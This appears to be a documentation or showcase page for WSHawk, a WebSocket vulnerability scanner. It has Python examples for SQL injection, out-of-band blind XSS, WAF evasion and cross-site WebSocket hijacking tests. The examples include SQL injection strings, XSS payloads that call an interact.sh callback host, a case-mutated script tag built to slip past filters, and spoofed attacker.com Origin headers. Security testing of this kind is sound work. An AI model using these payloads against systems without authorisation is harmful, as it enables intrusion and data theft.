Execution Gallery
Real-World Scenarios
Battle-tested examples of how WSHawk identifies critical vulnerabilities in complex WebSocket environments.
SQL Injection in JSON Payload
InjectionDetecting blind SQL injection in a complex nested JSON WebSocket message.
python
1import asyncio2from wshawk.scanner_v2 import WSHawkV23 4async def test_sql_injection():5 # Initialize scanner6 scanner = WSHawkV2("ws://api.target.com/v1/chat")7 8 # Message to inject into9 sample_msg = {10 "action": "search",11 "params": {12 "query": "laptop",13 "filter": "available"14 }15 }16 17 # Run targeted injection18 results = await scanner.message_analyzer.inject_and_test(19 await scanner.connect(),20 sample_msg,21 injection_type="sql"22 )23 24 # WSHawk automatically mutates 'query' field with:25 # ' OR 1=1--26 # " OR "1"="127 # ') OR ('1'='128 # sleep(5)--OAST-Based Blind XSS Detection
XSSUsing interact.sh to detect out-of-band XSS execution in backend admin panels.
python
1# Enable OAST in scanner2scanner = WSHawkV2(url)3scanner.use_oast = True4 5# WSHawk generates payloads like:6# <script src="https://c72...j9.interact.sh"></script>7# <img src=x onerror="fetch('https://c72...j9.interact.sh')">8 9# The scanner polls the OAST provider for interactions10await scanner.run_heuristic_scan()11 12# If an admin views your message, WSHawk catches the callback:13# [SUCCESS] OAST Interaction detected!14# Source IP: 45.x.x.x15# User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...Adaptive WAF Evasion
EvasionAutomatically learning from WAF responses to find bypass strategies.
python
1# Mutation engine uses feedback loop2from wshawk.payload_mutator import PayloadMutator, MutationStrategy3 4mutator = PayloadMutator()5 6# Initial payload gets blocked (403 Forbidden)7mutator.learn_from_response(8 payload="<script>alert(1)</script>",9 is_blocked=True10)11 12# Mutator recommends alternate strategy: CASE_VARIATION + COMMENT_INJECTION13strategy = mutator.get_recommended_strategy()14payloads = mutator.mutate_payload(15 "<script>alert(1)</script>", 16 strategy, 17 count=118)19 20# Output: <sCrIpT /*--*/>alert(1)</sCrIpT>Cross-Site WebSocket Hijacking (CSWSH)
AuthTesting for missing Origin validation using headless browser simulation.
python
1# Test for Origin bypass2results = await scanner.test_origin_bypass()3 4# WSHawk attempts connection with:5# Origin: http://attacker.com6# Origin: null7# Origin: http://target.com.attacker.com8 9if results['vulnerable']:10 print(f"CSWSH Detected! Accepted Origin: {results['origin']}")